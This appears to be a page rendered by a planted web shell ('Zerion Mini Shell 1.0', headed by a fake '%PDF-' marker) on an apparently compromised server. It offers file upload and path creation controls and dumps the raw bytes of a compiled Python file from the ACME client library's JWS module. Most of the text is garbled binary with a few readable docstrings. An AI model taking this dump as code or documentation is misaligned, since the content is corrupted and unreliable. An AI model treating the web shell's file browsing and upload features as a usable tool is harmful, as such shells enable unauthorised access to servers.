%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /lib/python3/dist-packages/acme/__pycache__/
Upload File :
Create Path :
Current File : //lib/python3/dist-packages/acme/__pycache__/jws.cpython-312.pyc

�

M/�e
���dZddlmZddlZGd�dej
�ZGd�dej�ZGd�d	ej�Zy)
z�ACME-specific JWS.

The JWS implementation in josepy only implements the base JOSE standard. In
order to support the new header fields defined in ACME, this module defines some
ACME-specific classes that layer on top of josepy.
�)�OptionalNc��eZdZUdZej
ddej��Zee	e
d<ej
dd��Zeee
d<ej
dd��Z
eee
d<ejded	e	fd
��Zy)�Headerz?ACME-specific JOSE Header. Implements nonce, kid, and url.
    �nonceT)�	omitempty�encoder�kid)r�url�value�returnc��	tj|�S#tj$r)}tjdj|���d}~wwxYw)NzInvalid nonce: {0})�jose�decode_b64jose�DeserializationError�format)r�errors  �*/usr/lib/python3/dist-packages/acme/jws.pyrzHeader.noncesN��	P��&�&�u�-�-���(�(�	P��+�+�,@�,G�,G��,N�O�O��	P�s��A�$A�AN)�__name__�
__module__�__qualname__�__doc__r�field�encode_b64joserr�bytes�__annotations__r	�strr
�decoder��rrrs����'�T�Z�Z��4��I\�I\�]�E�8�E�?�]�#����E�T�:�C��#��:�#����E�T�:�C��#��:��]�]�P�S�P�U�P��Prrc��eZdZUdZej
jZeZ	ejdde	�e	j��Zee
d<y)�	SignaturezGACME-specific Signature. Uses ACME-specific Header for customer fields.�headerT)r�defaultrN)rrrrrr!�_orig_slots�	__slots__r�
header_clsr�	from_jsonr"rrrrr!r!sD��Q����*�*�I��J��T�Z�Z��D�*�,��$�$�&�F�F�&rr!c����eZdZdZeZejjZ	e
	d
dedejdejdeedeedeedejf�fd	�
�Z�xZS)�JWSzCACME-specific JWS. Includes none, url, and kid in protected header.�payload�key�algrr
r	rc
�P��|du}t�|�|||tgd��||||��S)N)rr
r	�jwkr,)r+r,�protectrr
r	�include_jwk)�super�sign�	frozenset)	�clsr*r+r,rr
r	r0�	__class__s	        �rr2zJWS.sign1s=����T�k���w�|�G��#�$-�.S�$T�"'�S�c�(3��5�	5r)NN)rrrrr!�
signature_clsrr)r$r%�classmethodr�JWK�JWASignaturerrr2�
__classcell__)r5s@rr)r),s����M��M����$�$�I��>B�5�5�5�t�x�x�5�d�6G�6G�5�PX�Y^�P_�5��3�-�5�-5�c�]�5�FJ�h�h�5��5rr))r�typingr�josepyrrr!r)rrr�<module>r=sD�����P�T�[�[�P�$	&����	&�5�$�(�(�5r

Zerion Mini Shell 1.0